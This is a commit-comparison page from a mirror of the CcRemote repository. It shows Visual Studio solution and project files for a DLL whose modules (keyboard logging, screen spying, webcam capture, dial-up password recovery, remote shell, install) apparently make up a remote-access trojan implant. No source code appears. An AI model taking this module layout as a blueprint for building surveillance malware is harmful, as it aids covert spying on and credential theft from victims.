mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-07-29 05:34:25 +00:00
Compare commits
7 Commits
20200519.1
...
20200523.1
Author | SHA1 | Date | |
---|---|---|---|
![]() |
2fe1905f47 | ||
![]() |
3b5ea5b85d | ||
![]() |
e1bbb1530f | ||
![]() |
6a882cb6f4 | ||
![]() |
96fb9dcecc | ||
![]() |
a47ca50009 | ||
![]() |
270ad0fd3c |
BIN
CcMainDll/.vs/CcMainDll/v15/.suo
Normal file
BIN
CcMainDll/.vs/CcMainDll/v15/.suo
Normal file
Binary file not shown.
41
CcMainDll/CcMainDll.sln
Normal file
41
CcMainDll/CcMainDll.sln
Normal file
@@ -0,0 +1,41 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.28307.1082
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMainDll.vcxproj", "{912043E1-526F-4C23-AF8B-0D76C07F5723}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x64.Build.0 = Debug|x64
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x86.Build.0 = Debug|Win32
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.ActiveCfg = Release|x64
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.Build.0 = Release|x64
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.ActiveCfg = Release|Win32
|
||||
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.Build.0 = Release|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.Build.0 = Debug|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.ActiveCfg = Release|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {65608601-21C9-427B-B6B6-253BC293B2BA}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
292
CcMainDll/CcMainDll/CcMainDll.vcxproj
Normal file
292
CcMainDll/CcMainDll/CcMainDll.vcxproj
Normal file
@@ -0,0 +1,292 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{912043E1-526F-4C23-AF8B-0D76C07F5723}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>CcMainDll</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>..\bin\server\</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>..\bin\server</OutDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalOptions>/Zc:stricStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\common\Audio.h" />
|
||||
<ClInclude Include="ClientSocket.h" />
|
||||
<ClInclude Include="common\AudioManager.h" />
|
||||
<ClInclude Include="common\Buffer.h" />
|
||||
<ClInclude Include="common\Dialupass.h" />
|
||||
<ClInclude Include="common\filemanager.h" />
|
||||
<ClInclude Include="common\install.h" />
|
||||
<ClInclude Include="common\KernelManager.h" />
|
||||
<ClInclude Include="common\KeyboardManager.h" />
|
||||
<ClInclude Include="common\Manager.h" />
|
||||
<ClInclude Include="common\RegEditEx.h" />
|
||||
<ClInclude Include="common\ScreenManager.h" />
|
||||
<ClInclude Include="common\ScreenSpy.h" />
|
||||
<ClInclude Include="common\ShellManager.h" />
|
||||
<ClInclude Include="common\SystemManager.h" />
|
||||
<ClInclude Include="common\until.h" />
|
||||
<ClInclude Include="common\VideoCap.h" />
|
||||
<ClInclude Include="common\VideoManager.h" />
|
||||
<ClInclude Include="DynamicAPI.h" />
|
||||
<ClInclude Include="framework.h" />
|
||||
<ClInclude Include="pch.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ClientSocket.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\AudioManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Buffer.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Dialupass.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\FileManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">/Zc:strictStrings %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\install.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\KernelManager.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\KeyboardManager.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Manager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegEditEx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ScreenManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ScreenSpy.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ShellManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\SystemManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\until.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\VideoCap.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\VideoManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.cpp" />
|
||||
<ClCompile Include="pch.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
144
CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
Normal file
144
CcMainDll/CcMainDll/CcMainDll.vcxproj.filters
Normal file
@@ -0,0 +1,144 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="framework.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="pch.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\Buffer.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\until.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ClientSocket.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\KernelManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\KeyboardManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\RegEditEx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\Manager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\SystemManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\AudioManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\common\Audio.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\Dialupass.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\filemanager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\ScreenManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\ShellManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\ScreenSpy.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\VideoManager.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\VideoCap.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="DynamicAPI.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common\install.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="pch.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ClientSocket.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Buffer.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\until.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\KeyboardManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegEditEx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\SystemManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\AudioManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\Dialupass.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\FileManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ScreenManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ShellManager.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
